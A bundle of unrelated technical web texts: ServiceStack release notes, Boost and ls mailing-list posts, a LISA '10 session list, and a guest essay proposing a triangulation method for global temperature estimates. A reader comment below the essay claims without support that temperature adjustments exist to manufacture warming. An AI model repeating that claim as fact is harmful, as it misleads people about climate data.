AppHost.Configure() which will use the configuration in your registered
ApiKeyAuthProvider to generate new keys for all existing users that don't have keys.
This example assumes the typical scenario of using an
OrmLiteAuthRepository to store your Users in an RDBMS: you will need to modify this script to fetch the userIds for all users missing API Keys for the data persistence back-end you're using.
Other Features
Auto rewriting of HTTPS Links
ServiceStack now automatically rewrites outgoing links to use
https:// for Requests that were forwarded by an SSL-terminating Proxy and containing the
X-Forwarded-Proto = https HTTP Header. You can override
AppHost.UseHttps() to change this behavior.
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https://docs.servicestack.net/releases/v4_5_0
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From: John Maddock (John_Maddock_at_[hidden])
Date: 2000-08-01 05:46:34
Beman,
>Nits:
>* While there isn't a law that requires it, lots of people expect all C++
>source files to begin with a comment line which simply says what's in the
>file.
OK.
>* I like a "Revision History" comments. True, CVS supplies history, but
>for casual reading a simple Revision History helps. Or is that just
>personal taste on my part? I don't think we ever discussed it.
True it just hasn't been revised yet ;-)
OK, I'll add an "initial revision" line.
>* How about adding a disclaimer in the docs to the effect: "Boost members
spent considerable effort trying to invent a compile time assert that
avoided macros, all to no avail. The general conclusion was that the good
of a compile time assert working at namespace, function, and class scope
outweighed the ugliness of a macro." Maybe add at the bottom so it doesn't
take away from the central description.<
Good point.
>* I had reading comprehension trouble with this sentence:
To avoid this, if you use BOOST_PRECONDITION in a header at namespace
scope, then ensure that the declarations are enclosed in their own unique
namespace.
Possibly clearer:
To avoid this, if you use BOOST_PRECONDITION in a header at namespace
scope, enclose the use in a (possibly nested) namespace unique to that
header.<
Yep.
>Basically, I think we ought to settle the name issue, formally review
this,
>and start using it.
Yes, there isn't a whole lot to review here so it shouldn't be onerous (I
hope!)
With regard to the name, I'm fully committed to sitting on the fence on
this one.
It's clear that precondition was a bad choice, and the concensus (or as
close as we're likely to get) appears to be for BOOST_STATIC_ASSERT so
let's go with that. That leaves the name given to the class that generates
the error (the class name that ends up in the error message), I favour
something more verbose for this - how about
"COMPILE_TIME_ASSERTION_FAILED"?
Finally, what header do we want this in? Its own header
(static_assert.hpp??), or in utility.hpp or what? There isn't a whole lot
of code here BTW.
-John.
Boost list run by bdawes at acm.org, gregod at cs.rpi.edu, cpdaniel at pacbell.net, john at johnmaddock.co.uk
|
https://lists.boost.org/Archives/boost/2000/08/4179.php
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LISA '10 Home |
Discounts |
Organizers |
Invitation |
At a Glance |
Calendar |
Training |
Tech Sessions
Workshops |
Data Storage Day |
Poster Sessions |
BoFs |
Exhibition |
Sponsors |
Activities |
Hotel/Travel
Services |
Students |
Questions? |
Help Promote! |
For Participants |
Call for Papers |
Past Proceedings
TECHNICAL SESSIONS
All sessions taking place in the San Jose Marriott are denoted by the Marriott logo icon throughout the LISA '10 Web site. All other session locations are in the San Jose McEnery Convention Center.
See the floor plans: Marriott | Convention Center
Just Up! Videos of the presentations will be posted as soon as they become available. Access is currently restricted to USENIX and SAGE members and LISA '10 conference attendees. Not a member? Join today!
Conference full papers and formal proceedings are available to conference registrants immediately and to everyone beginning Wednesday, November 10. Everyone can view the abstracts and the proceedings front matter immediately.
Proceedings Front Matter:
Title Page and List of Organizers |
Table of Contents |
Message from the Program Chair
Complete Proceedings (PDF)
NEW! E-Book Proceedings: Read the proceedings on the go in iPad-friendly EPUB format or Kindle-friendly Mobipocket format.
Tech Sessions:
Wednesday, November 10 |
Thursday, November 11 |
Friday, November 12 |
Invited Talk Speakers
A1–3/6–8
Opening Remarks, Awards, and Keynote Address
LISA '10 Program Chair: Rudi van Drunen, Competa IT and Xlexit Technology, The Netherlands
View the Video
Keynote Address
The LHC Computing Challenge: Preparation, Reality, and Future Outlook
Tony Cass, CERN
View the Video | Slides
Listen to the MP3.
REFEREED PAPERS
A2/7
Session Chair: Cory Lueninghoener, Los Alamos National Laboratory
A Survey of System Configuration Tools
Thomas Delaet, Wouter Joosen, and Bart Vanbrabant, DistriNet, K.U. Leuven
Read the Abstract | Full paper
View the Slides
View the Video
High Performance Multi-Node File Copies and Checksums for Clustered File Systems
Paul Z. Kolano and Robert B. Ciotti, NASA Ames Research Center
Fast and Secure Laptop Backups with Encrypted De-duplication
Paul Anderson and Le Zhang, University of Edinburgh
INVITED TALKS I
A1/8
Session Chair: Rudi van Drunen, Competa IT and Xlexit Technology, The Netherlands
IPv6: No Longer Optional
Richard Jimmerson, ARIN
When LISA '10 takes place, there will still be IPv4 address space remaining
in the free pools of the Regional Internet Registries. When LISA '11 takes
place, it will likely be fully depleted—gone. In this session, Richard
Jimmerson, CIO of the American Registry for Internet Numbers (ARIN), will
describe the key considerations for and benefits of IPv6 adoption and the
steps all system and network administrators and engineers should be taking
to prepare for IPv4 depletion challenges.
INVITED TALKS II
A3/6
Session Chair: Doug Hughes, D. E. Shaw Research, LLC
Storage Performance Management at Weta Digital
Matt Provost, Weta Digital
View the Slides
Weta Digital has had to deal with enormous growth in storage from The Fellowship of the Ring through to Avatar. In this talk Matt will outline some of the problems with NFS storage the company has faced over the years and the solutions they have developed. This will include the design and evolution of DSMS, the system Weta uses to provide a global namespace, unifying multiple heterogeneous file servers and file systems. He will also cover NFS performance monitoring, management, and troubleshooting in a high-performance computing cluster environment and the challenges these present at a large scale.
THE GURU IS IN
C1/2
Session Chair: Tom Limoncelli, Google Inc.
Time Management
Tom Limoncelli, Google,.
Session Chair: Matt Disney, Oak Ridge National Laboratory
The Margrave Tool for Firewall Analysis
Timothy Nelson, Worcester Polytechnic Institute;
Christopher Barratt, Brown University;
Daniel J. Dougherty and
Kathi Fisler, Worcester Polytechnic Institute;
Shriram Krishnamurthi, Brown University
Towards Automatic Update of Access Control Policy
Jinwei Hu, University of Western Sydney and Huazhong University of Science and Technology; Yan Zhang, University of Western Sydney; Ruixuan Li, Huazhong University of Science and Technology
Awarded Best Student Paper!
First Step Towards Automatic Correction of Firewall Policy Faults
Fei Chen and Alex X. Liu, Michigan State University; JeeHyun Hwang and Tao Xie, North Carolina State University
Session Chair: Amy Rich, Tufts University
Storage over Ethernet: What's in It for Me?
Stephen Foskett, Gestalt IT
Convergence is coming, or so the storage, network, and server
vendors want us to believe. Fibre Channel is moving to Ethernet with FCoE, and
SCSI is already there, thanks to iSCSI. But why is everything heading to
Ethernet and what's the value to the system administrator and the business?
This session gives an overview of this new "everything over Ethernet" world,
from DCB to virtual I/O, and offers practical advice on systems architecture,
how long to wait, and when to buy.
Session Chair: Duncan Hutty, Carnegie Mellon University
The 10 Commandments of Release Engineering
Dinah McNutt, Google groups.
Session Chair: TBA
Disaster Recovery
Joseph Kern, Google, Inc.
PRACTICE AND EXPERIENCE REPORTS
Session Chair: Narayan Desai, Argonne National Laboratory
When Anti-virus Doesn't Cut It: Catching Malware with SIEM
Wyman Stocks, NetApp
Read the Abstract | Full paper
In-Flight Mechanics: A Software Package Management Conversion Project
Philip J. Hollenback, Yahoo, Inc.
Experiences with Eucalyptus: Deploying an Open Source Cloud
Rick Bradshaw and Piotr T Zbiegiel, Argonne National Laboratory
Commencing Countdown: DNSSEC On!
Roland van Rijswijk, SURFnet Middleware Services
DNSSEC is taking off: The root was signed this year and many top-level
domains are DNSSEC-ready. The focus is now shifting to second-level
domain owners; they can now start rolling out DNSSEC. But DNSSEC is a
complex technology and many organizations face challenges if they want
to deploy DNSSEC.
This talk will focus on the why and how of DNSSEC: Why do you need it?
What is the impact on your systems? How can you roll out DNSSEC? What
can you expect when you roll it out?
SURFnet's own experiences with DNSSEC will serve as a basis for this
presentation.
Postfix: Past, Present, and Future
Wietse Venema, IBM T.J. Watson Research Center
In the twelve years since its initial release by IBM, the open source
Postfix mail system has become part of the email infrastructure.
The system has proven itself on personal systems and on ISP
infrastructures with tens of millions of mailboxes. After Postfix
reached completion in 2006, the focus of development moved from
building new functionality toward making the system more extensible
and more survivable in the face of changing requirements and threats.
In this presentation Wietse will review lessons learned and current
developments and will offer some speculation about the future.
Session Chair: William LeFebvre, Digital Valence, LLC
ZFS
Richard Elling, Nexenta Systems
Richard Elling.
Vendor Exhibition, Exhibit Hall 1
Exhibit Hall Happy Hour
Join us at the Vendor Exhibition for refreshments and take the opportunity to learn about the latest products and technologies. Don't forget to get your vendor passport stamped!
Concourse 1
Poster Session
Check out the cool new ideas and the latest preliminary work on display at the Poster Sessions. Take advantage of an opportunity to mingle with colleagues who may be interested in the same area. The
list of accepted posters is available here.
Session Chair: Sean Kamath, PDI/Dreamworks
Using TCP/IP Traffic Shaping to Achieve iSCSI Service Predictability
J. Bjørgeengen, University of Oslo; H. Haugerud, Oslo University College
YAF: Yet Another Flowmeter
Christopher M. Inacio, Carnegie Mellon University; Brian Trammell, ETH Zurich
Nfsight: NetFlow-based Network Awareness Tool
Robin Berthier, University of Illinois at Urbana-Champaign; Michel Cukier, University of Maryland, College Park; Matti Hiltunen, Dave Kormann, Gregg Vesonder, and Dan Sheleheda, AT&T Labs—Research
Visualizations for Performance Analysis (and More)
Brendan Gregg, Joyent
Visualizations that include heat maps can be an effective way to present
performance data: I/O latency, resource utilization, and more.
Patterns can emerge that would be difficult to notice from columns of
numbers or line graphs, which are revealing previously unknown
behavior. These visualizations are used in a product as a replacement
for traditional metrics such as %CPU and are allowing end users to
identify more issues much more easily (and some issues are becoming nearly
impossible to identify with tools such as vmstat(1)). This talk covers
what has been learned, crazy heat map discoveries, and thoughts for
future applications beyond performance analysis.
Rethinking Passwords
William Cheswick,.
Session Chair: Alva L. Couch, Tufts University
Interviewing and Job Hunting
Adam Moskowitz
Adam Moskowitz has at various times been a programmer, a system administrator, a manager of sysadmins, and a technical trainer. He has been a Guru and speaker at past LISA conferences, has taught several LISA tutorials about interviewing, has run the LISA Advanced Topics Workshop for the past 13 years, and was the Program Chair of LISA '09. Adam doesn't blog, but he does maintain a Web page of cute pictures of his dog Ancho.
Session Chair: Carolyn Rowland, National Institute of Standards and Technology (NIST)
Implementing IPv6 at ARIN
Matt Ryanczak, ARIN
Awarded Best Practice and Experience Report!
Internet on the Edge
Andrew Mundy, National Institute of Standards and Technology (NIST)
Managing Vendor Relations: A Case Study of Two HPC Network Issues
Loren Jan Wilson, Argonne National Laboratory
System Administrators in the Wild: An Outsider's View of Your World and Work
Eben M. Haber, IBM Research—Almaden
You understand the work of system administration, but how do you explain it to others? Since 2002 a group at IBM has been studying sysadmins in the wild to better understand how they work, both to inspire improvements in tools and practices and to explain the ever-growing human costs in enterprise IT. As outsiders we were fascinated by what we learned, so we've written a book on the subject to explain your work to the rest of the world. This talk provides a summary of our most important findings, supported by real-life footage of sysadmins at work.
Enterprise-scale Employee Monitoring
Mario Obejas, Raytheon
Since June 2009, I have been the program manager responsible for successfully deploying an employee monitoring system in a 12K employee business unit of a large US firm.
This talk is for anyone considering implementing employee monitoring and may include the following mission-specific elements:
Consulting
Strata Rose Chalup, Project Management Consultant, and Adam Moskowitz
Strata Rose Chalup.
Using Syslog Message Sequences for Predicting Disk Failures
R. Wesley Featherstun and Errin W. Fulp, Wake Forest University
Awarded Best Paper!
Log Analysis and Event Correlation Using Variable Temporal Event Correlator (VTEC)
Paul Krizak, Advanced Micro Devices, Inc.
Chukwa: A System for Reliable Large-Scale Log Collection
Ariel Rabkin and Randy Katz, University of California, Berkeley
Session Chair: Mario Obejas, Raytheon
Flying Instruments-Only: Navigating Legal and Security Issues from the Cloud
Richard Goldberg, Attorney at Law, Washington, DC
Although cloud computing is seen as a simple, low-cost alternative for storing, protecting, and providing access to important information, the legal and privacy concerns are largely being ignored. This talk addresses the following questions, among others: What legal risks are created when data is located "elsewhere"—and users don't know more than that? Can using cloud computing violate federal, state, or international data-privacy laws? Can everyone do everything right and still create unreasonable risks? Who is responsible if—or, more likely, when—something goes wrong? What precautions can be taken to solve these problems? And will that be enough?
The Path to Senior Sysadmin
Adam Moskowitz
Being a senior system administrator is about more than knowing
all the options to mount(8) or that modprobe is what's used to
replace that buggy kernel module with the latest version.
Rather, a good senior sysadmin will have a wide knowledge of
relevant technical topics, in-depth knowledge of one or more
technologies, good interpersonal skills, and the ability to manage
"problem users" and will be comfortable making presentations to and
negotiating with mid- and upper-level management. This talk
will cover the skills a senior sysadmin needs and why
they are necessary and will provide some suggestions for how to acquire
these skills.
IPv6
Owen DeLong, DeLong Consulting
Owen DeLong is an IPv6 Evangelist two.
Session Chair: Matthew Sacks, GlassCode Inc.
How to Tame Your VMs: An Automated Control System for Virtualized Services
Akkarit Sangpetch, Andrew Turner, and Hyong Kim, Carnegie Mellon University
Empirical Virtual Machine Models for Performance Guarantees
Andrew Turner, Akkarit Sangpetch, and Hyong S. Kim, Carnegie Mellon University
RC2—A Living Lab for Cloud Computing
Kyung Dong Ryu, Xiaolan Zhang, Glenn Ammons, Vasanth Bala, Stefan Berger, Dilma M Da Silva, Jim Doran, Frank Franco, Alexei Karve, Herb Lee, James A Lindeman, Ajay Mohindra, Bob Oesterlin, Giovanni Pacifici, Dimitrios Pendarakis, Darrell Reimer, and Mariusz Sabath, IBM T.J. Watson Research Center
Panel: Legal and Privacy Issues in Cloud Computing
Richard Goldberg, Attorney at Law, Washington, DC; Bill Mooz, VMware
Centralized Logging in a Decentralized World
Tim Hartmann and Jim Donn, Harvard University
As environments grow and systems become more complex, building and managing a usable centralized logging infrastructure can be a daunting task. In this talk, we will walk through our real-life experiences implementing a centralized logging infrastructure for our Network, Systems, Security, and Application teams. Over the past three years, we have had to change our strategies and architecture to account for organic customer growth, changes in team requirements, and evolutions in technology.
Project Management
Strata Rose Chalup, Project Management Consultant
Ballroom
LISA '10 Reception: Adventure Carnival
Join us for a dinner buffet and games designed to test your inner Indy. Show off your skills in boulder bowling, mingle as you root for your favorite dromedary in the camel races, or challenge your colleagues in the monkey brains shuffle. Collect raffle tickets for winning at each booth for the chance to win fabulous prizes.
Session Chair: Chad Verbowski, eBay
PeerMon: A Peer-to-Peer Network Monitoring System
Tia Newhall, Jānis Lībeks, Ross Greenwood, and Jeff Knerr, Swarthmore College
Keeping Track of 70,000+ Servers: The Akamai Query System
Jeff Cohen, Thomas Repantis, and Sean McDermott, Akamai Technologies; Scott Smith, Formerly of Akamai Technologies;
Joel Wein, Akamai Technologies
Troubleshooting with Human-readable Automated Reasoning
Alva L. Couch, Tufts University; Mark Burgess, Oslo University College and Cfengine AS
10,000,000,000 Files Available Anywhere: NFS at Dreamworks
Sean Kamath and Mike Cutler, PDI/Dreamworks
"I need it all, available anywhere. Physics, shymsics! Make it so."
OK, Jean Luc, you asked for it.
Since Dreamworks employees collaborate globally, we represent data
so that it feels like a laptop has a 2PB drive. Learn how we leverage NFS and the automounter to maximum effect. We
uncover vendor bugs and implementation inconsistencies as we push the
performance envelope to the limit.
It's about free thinking and breaking some rules that we all cling to.
Step over the brink and prepare to leave with ideas you can implement
in your environments that will change how you think.
Data Structures from the Future: Bloom Filters, Distributed Hash Tables, and More!
Thomas A. Limoncelli, Google, Inc.
Greetings, earthlings of the year 2010! I've traveled back in time to
share with you some of the technologies that system administrators
operate in the future. Chances are you know what a cache is and
how to tune it. In the future, there will be glorious things such as
"bloom filters," "distributed hash tables," and "NoSQL databases." I
will reveal what they are and (more important) how to
tune them. (This will be an informal talk with a lot of hand-waving.)
Production Documentation
Matthew Sacks, GlassCode Inc.
View the Slides | Handout
Matthew Sacks is a system administrator specializing in high-traffic Web sites and their accompanying infrastructures. He founded the USENIX Blog Team and is also the Founding Editor of TheBitsource.com, a successful online technical publication and research company. He has written technical articles for various IT and computing industry magazines such as InformIT.com, Linux Pro Magazine, and Sys Admin Magazine.
Session Chair: Æleen Frisch, Exponential Consulting
Configuration Management for Mac OS X: It's Just Unix, Right?
Janet Bass and David Pullman, National Institute of Standards and Technology (NIST)
Anycast as a Load Balancing Feature
Fernanda Weiden and Peter Frost, Google Switzerland GmbH
iSCSI SANs Don't Have to Suck
Derek J. Balling, Answers.com
Operations at Twitter: Scaling Beyond 100 Million Users
John Adams, Twitter
John will cover many aspects of Twitter's scaling efforts, including:
Er, What? Requirements, Specifications, and Reality: Distilling Truth from Friction
Cat Okita
A humorous look at requirements and specifications: what they are and why you'd want them in the first place, with some ideas about how to create good requirements and specifications, recognize bad ones, and play nicely with others to end up with results that everyone can live with.
SELinux
Rik Farrow, Security Consultant
Rik Farrow:.
INVITED TALK
Using Influence to Understand Complex Systems
Adam J. Oliner, Stanford University
When a complex production system misbehaves, the debugging technique of first resort is to examine instrumentation logs, which are normally noisy and incomplete. We define a statistical notion of "influence" between components that gracefully handles this situation. Intuitively, two components influence each other if they tend to exhibit surprising behavior around the same time. We show how to efficiently compute and answer queries about influence and how to present results in a useful form as a Structure-of-Influence Graph among components, and we give example applications of these ideas to several production systems, including autonomous vehicles, clusters, and supercomputers.
Scalable, Good, Cheap: Get Your Infrastructure Started Right
Avleen Vig, Patrick Carlisle, and Marc Cluet, woome.com
Traditional organic infrastructure growth enables quick start-up but
increases your technical debt, while spending too long planning is
resource-heavy and can result in lost opportunities.
We'll discuss how to balance your infrastructure's growth with
planning for the future, using the proper balance of open source
tools, good process, architecture and design, monitoring,
configuration management, and the data mining you will need to empower
your systems.
Learning how to do the right things now will enable your future success.
Reliability at Massive Scale: Lessons Learned at Facebook
Robert Johnson, Director of Engineering, Facebook, Inc.; Sanjeev Kumar, Engineering Manager, Facebook, Inc.
As the Facebook Web site and platform grow to an ever larger scale, one of the most difficult challenges is running reliably while constantly changing our product. Over the years we have developed a number of principles around avoiding large failures while making frequent, small changes to our system. These principles have allowed us to run with a low rate of serious incidents, but they still do occur. I'll be walking through the details of a recent site outage to illustrate the way these principles work and how things can go wrong when they aren't followed.
Security
Jamie Adams, Trusted Computer Solutions
Jamie Adams is the Principal Secure Systems Engineer for Trusted Computer Solutions. He has spent over 20 years in the business of operating system security and compliance, developing security solutions for the government and commercial companies. Jamie holds considerable expertise on compliance with industry standard guidelines (DISA STIGs, CIS, PCI, etc.) and is an expert on how to provide "real world" security at the IT foundation.
A1/2/7/8
Closing Session
Look! Up in the Sky! It's a Bird! It's a Plane! It's a Sysadmin!
David N. Blank-Edelman,
Northeastern University CCIS
Yes, it's a sysadmin—a somewhat strange visitor who might as well be from another planet, with powers and abilities far beyond those of mortal users.
That's you, right? So these powers and abilities—How did you get them? How did you figure out which ones you had? How have you honed them? How have you learned to cope with them and the responsibilities they brought?
I don't really believe sysadmins are superheroes just like those in comic books. But I do think that we are different from others in a similar way, complete with, yes, powers and abilities that often exceed those around us. Some of these powers we already have whether we know it or not and some we'll have to strive to develop. But all come with their own set of practical and ethical obligations.
For almost eighty years, American comic books have been mulling over just the sorts of questions you and I face each day we live as sysadmins, so why not look at what they have to say on this subject? In this talk we'll explore just what superpowers you really do have or could attain with just a bit of work. We'll also address some of the moral and ethical implications of being "super" you'll need to face as you progress in your sysadmin career. Sure, our time together will be entertaining, but it won't be all "Biff! Pow! Sudo!" If I'm right, you could take away a new sense of yourself as a sysadmin.
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On Sun, Sep 16, 2012 at 1:14 AM, Peter Avalos <peter@theshell.com> wrote: > On Sat, Sep 15, 2012 at 08:39:48PM +0530, Dan Cross wrote: >> If you are going to make a change, I suggest adding a '-I' and making >> the default -A for *all* users. Perhaps if people saw how much the >> applications they install are littering their directory namespaces, >> pressure would build to come up with a more sensible convention to >> handle configuration. Having an arbitrary class of files that are not >> displayed by default is non-intuitive and just weird. >> > The standard says, "Filenames beginning with a <period> ( '.' ) and any > associated information shall not be written out unless explicitly > referenced, the -A or -a option is supplied, or an > implementation-defined condition causes them to be written." We're not > going to violate this by turning on -A for everyone. Fair enough, but a pedantic nit: "an implementation-defined condition" could be a declaration that that's how your version of ls works. That's what other systems have done. > As far as making root act the same way as everyone else, I'm fine with > that. If we do that, I recommend removing the -I option that was just > added. This all seems rather making a mountain out of a molehill. Is there really any pressing need to change anything? - Dan C.
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Guest essay by Mike Jonas
Introduction
There are a number of organisations that produce estimates of global temperature from surface measurements. They include the UK Met Office Hadley Centre, the Goddard Institute of Space Studies (GISS) and Berkeley Earth, but there are others.
They all suffer from a number of problems. Here, an alternative method of deriving global temperature from surface measurements is proposed, which addresses some of those problems.
Note: The terms global temperature and regional temperature will be used here to refer to some kind of averaged surface temperature for the globe or for a region. It could be claimed that these would not be real temperatures, but I think that they would still be useful indicators.
The Problems
Some of the problems of the existing systems are:
· Some systems use temperature measurements from surrounding weather stations (or equivalent) to adjust a station’s temperature measurements or to replace missing temperature measurements. Those adjusted temperatures are then used like measured temperatures in ongoing calculations.
· The problem with this method is that surrounding stations are often a significant distance away and/or in very different locations, and their temperatures may be a poor guide to the missing temperatures.
· Some systems use a station’s temperature and/or the temperatures of surrounding stations over time to adjust a station’s temperature measurements, so that they appear to be consistent. (I refer to these as trend-based adjustments).
· There is a similar problem with this method. For example, higher-trending urban stations, which are unreliable because of the Urban Heat Effect (UHE), can be used to adjust more reliable lower-trending rural stations.
· Some systems do not make allowances for changes in a station, for example new equipment, a move to a nearby location, or re-painting. Such changes can cause a step-change in measured temperatures. Other systems treat such a change as creating a new station.
· Both these methods have problems. Systems that do not make allowance : These systems can make inappropriate trend-based adjustments, because the step-change is not identified. Systems that create a new station : These systems can also make inappropriate trend-based adjustments. For example, if a station’s paint detoriates, then its measurements may have an invalid trend. On re-painting, the error is rectified, but by regarding the repainted station as a new station the system then incorporates the invalid trend into its calculations.
There are other problems, of course, but a common theme is that individual temperature measurements are adjusted or estimated from other stations and/or other dates, before they get used in the ongoing calculations. In other words, the set of temperature measurements is changed to fit an expected model before it is used. [“model” in this sense refers to certain expectations of consistency between neighbouring stations or of temperature trends. It does not mean “computer model” or “computer climate model”.].
The Proposed New System
The proposed new system uses the set of all temperature measurements and a model. It adjusts the model to fit the temperature measurements. [As before, “model” here refers to a temperature pattern. It does not mean “computer model” or “computer climate model”.].
Over time, the model can be refined and the calculations can be re-run to achieve (hopefully) better results.
The proposed system does not on its own solve all problems. For example, there will be some temperature measurements that are incorrect or unreliable in some significant way and will genuinely need to be adjusted or deleted. This issue is addressed later in this article.
For the purpose of describing the system, I will begin by assuming that the basic time unit is one day. I will also not specify which temperature I mean by the temperature, but the entire system could for example be run separately for daily minimum and maximum temperatures. Other variations would be possible but are not covered here.
The basic system is described below under the two subheadings :The Model” and “The System”.
The Model
The model takes into account those factors which affect the overall pattern of temperature. A very simple initial model could use for example time of year, latitude, altitude and urban density, with simple factors being applied to each, eg. x degrees C per metre of altitude.
The model can then be used to generate a temperature pattern across the globe for any given day. Note that the pattern has a shape but it doesn’t have any temperatures.
So, using a summer day in the UK as an example, the model is likely to show Scottish lowlands as being warmer than the same-latitude Scottish highlands but cooler than the further-south English lowlands, which in turn would be cooler than urban London.
The System
On any given day, there is one temperature measurement for each weather station (or equivalent) active on that day. ie, there is a set of points (locations) each of which has one temperature measurement.
These points are then triangulated. That is, a set of triangles is fitted to the points, like this:
Note: the triangulation is optimised to minimise total line length. So, for example, line GH is used, not FJ, because GH is shorter.
The model is then fitted to all the points. The triangles are used to estimate the temperatures at all other points by reference to the three corners of the triangle in which they are located. In simple terms, within each triangle the model retains its shape while its three corners are each moved up or down to match their measured temperatures. (For points on one of the lines, it doesn’t matter which triangle is used, the result is the same).
I can illustrate the system with a simple 1D example (ie. along a line). On a given day, suppose that along the line between two points the model looks like:
If the measured temperatures at the two points on that day were say 12 and 17 deg C, then the system’s estimated temperatures would use the model with its ends shifted up or down to match the start and end points:
Advantages
There are a number of advantages to this approach:
· All temperature measurements are used unadjusted. (But see below re adjustments).
· The system takes no notice of any temperature trends and has no preconceived ideas about trends. Trends can be obtained later, as required, from the final results. (There may be some kinds of trend in the model, for example seasonal trends, but they are all “overruled” at every measured temperature.).
· The system does not care which stations have gaps in their record. Even if a station only has a single temperature measurement in its lifetime, it is used just like every other temperature measurement.
· No estimated temperature is used to estimate the temperature anywhere else. So, for example, when there is a day missing in a station’s temperature record then that station is not involved in the triangulation that day. The system can provide an estimate for that station’s location on that day, but it is not used in any calculation for any other temperature.
· No temperature measurement affects any estimated temperature outside its own triangles. Within those triangles, its effect decreases with distance.
· No temperature measurement affects any temperature on any other day.
· The system can use moving temperature measurement devices, eg. on ships, provided the model or the device caters for things like time of day.
· The system can “learn”, ie. its results can be used to refine the model, which in turn can improve the system (more on this later). In particular, its treatment of UHE can be validated and re-tuned if necessary.
Disadvantages
Disadvantages include:
· Substantial computer power may be needed.
· There may be significant local distortions on a day-to-day basis. For example, the making or missing of one measurement from one remote station could significantly affect a substantial area on that day.
· The proposed system does not solve all the problems of existing systems.
· The proposed system does not completely remove the need for adjustments to measured temperatures (more on this later).
System Design
There are a number of ways in which the system could be designed. For example, it could use a regular grid of points around the globe, and estimate the temperature for each point each day, then average the grid points for global and regional temperatures. Testing would show which grid spacings gave the best results for the least computer power.
Better and simpler designs may well be possible.
Note : Whenever long distances are involved in the triangulation process, Earth’s surface curvature could matter.
Discussion
One of the early objectives of the new system would be to refine the model so that it better matched the measured temperatures, thus giving better estimated temperatures. Most model changes are expected to make very little difference to the global temperature, because measured temperatures override the model. After a while, the principal objective for improving the model would not be a better global temperature, it would be … a better model. Eventually, the model might contribute to the development of real climate models, that is, models that work with climate rather than with weather (see Inside the Climate Computer Models).
Oceans would be a significant issue, since data is very sparse over significant ocean areas. The model for ocean areas is likely to affect global averages much more than the model for land areas. Note that ocean or land areas with sparse temperature data will always add to uncertainty, regardless of the method used.
I stated above (“Disadvantages”) that the proposed system does not completely remove the need for adjustments to measured temperatures. In general, individual station errors don’t matter provided they are reasonably random and not systemic, because they will average out over time and because each error impacts only a limited area (its own triangles) on one day only. So, for example, although it would be tempting to delete obviously wrong measurements, it is better to leave them in if there are not too many of them, because they have little impact and their removal would then not have to be justified and documented. The end result would be a simpler system, easier to follow, to check and to replicate, and less open to misuse (see “Misuse” below), although there would be more day-to-day variation. Systemic errors do matter because they can introduce a bias, so adjustments to these should be made, and the adjustments should be justified and documented. An example of a systemic error could be a widespread change to the time of day that max-min thermometers are read. Many of the systemic errors have already been analysed by the various temperature organisations. It would be very important to retain all original data so that all runs of the system using adjusted measurements can be compared to runs with the original data in order to quantify the effect of the adjustments and to assist in detecting bias.
Some stations may be so unreliable or poorly sited that they are best omitted. For example, stations near air-conditioner outlets, or at airports where they receive blasts from aircraft engines.
The issue of “significant local distortions on a day-to-day basis” should simply be accepted as a feature of the system. It is really only an artefact of the sparseness and variability of the temperature measurement coverage. The first aim of the system is to provide regional and global temperatures and their trends. Even a change to a station that caused a step change in its data (such as new equipment, a move to a nearby location, or re-painting) would not matter much, because each station influences only its own triangles. It would matter, however, if such step-changes were consistent and widespread, ie. they would matter if they could introduce a significant bias at a regional or global level.
It wouldn’t even matter if at a given location on a particular day the estimated maximum temperature was lower than the estimated minimum temperature. This could happen if, for example, among the nearby stations some had maximum temperatures missing while some other stations had minimum temperatures missing. (With a perfect model, it couldn’t happen, but of course the model can never be perfect.).
All the usual testing methods would be used, like using subsets of the data. For example, the representation of UHE in the model can be tested by calculating with and without temperature measurements on the outskirts of urban areas, and then comparing the results at those locations.
All sorts of other factors can be built into the model, some of which may change over time – eg. proximity to ocean, ocean currents, average cloud cover, actual hours of sunshine, ENSO and other ocean oscillations, and many more. Assuming that the necessary data is available, of course.
Evaluation
Each run of the system can produce ratings that give some indication of how reliable the results are:
· How much the model had to be adjusted to fit the temperature measurements.
· How well the temperature measurements covered the globe.
The ratings could be summarised globally, by region, and by period.
Some station records give measurement reliability. These could be incorporated into the ratings.
Misuse
Like all systems, the proposed system would be open to misuse, but perhaps not as much as existing systems.
Bias could still be introduced into the system by adjusting historical temperature measurements – eg. to increase the rate of warming by lowering past temperatures. The proposed system does make this a bit more difficult, because it removes some of the reasons for adjusting past temperature measurements. In particular, temperature measurements cannot be adjusted to fit surrounding measurements, and they cannot be adjusted to fit a model (deletion of “outliers” is an example of this). If such a bias was introduced, the ratings (see “Evaluation” above) would not be affected, so they would not be able to assist in detecting the bias. The bias could be detected by comparing results against results from unadjusted data, but proving it against a determined defence could be very difficult.
Bias could still be introduced into the system by exploiting large areas with no temperature measurements, such as the Arctic, but the proposed system also makes this a bit more difficult. In order to exploit such areas, the model would need to be designed to generate change within the unmeasured area. So, for example, a corrupt model could make the centre of the Arctic warmer over time relative to the outer regions where the weather stations are. It would be possible to detect this type of corruption via the ratings (a high proportion of the temperature trend would come from a region with a low coverage rating), but again proof would be difficult.
NB. In talking about misuse, I am not in any way suggesting that misuse does or would occur. I am simply checking the proposed system for weaknesses. There may be other weaknesses that I have not identified.
Conclusion
It would be very interesting to implement such a system, because it would operate very differently to current systems and would therefore provide a genuine alternative to and check against the current systems. Raising the necessary funding could be a major hurdle.
The system could also, I think, be used to check some weather and climate theories against historical temperature data, because (a) it handles incomplete temperature data, (b) it provides a structure (the model) in which such theories can be represented, and (c) it provides ratings for evaluation of the theories.
Provided that the system could be used without needing too much computer power, it could be suitable for open-source/cooperative environments where users could check each other’s results and develop cooperatively. The fact that the system is relatively easy to understand, unlike the current set of climate models, would be a big advantage.
Footnotes
1. I hope that the use of the word “model” does not cause confusion. I tried to make it clear that the model I refer to in this document is a temperature pattern, not a computer model. I tried some other words, but they didn’t really work.
2. I assume that unadjusted temperature data is available from the temperature organisations (weather bureaux etc). To any reasonable person, it is surely inconceivable that these organisations would not retain their original data.
###
Mike Jonas (MA Maths Oxford UK) retired some years ago after nearly 40 years in I.T.
Abbreviations
C – Centigrade or Celsius
ENSO – El Niño Southern Oscillation
GISS – Goddard Institute of Space Studies
UHE – Urban Heat Effect
1D – 1-dimensional
155 thoughts on “A New System for Determining Global Temperature”
The Warmistas will never accept this new System of measurement. If temperature measurements are used unadjusted then there will be no ability to show the required rise in Global Temperature demanded by CAGW.
ntes
Plus a lot
Auto
what about a sensor on the moon pointing back at earth
brilliant.
ne plus ultra.
but it does not justify stealing.
there is never any justification for violating a person’s rights, period.
“””””….. Abbreviations
C – Centigrade or Celsius …..”””””
So make up your mind; which is it.
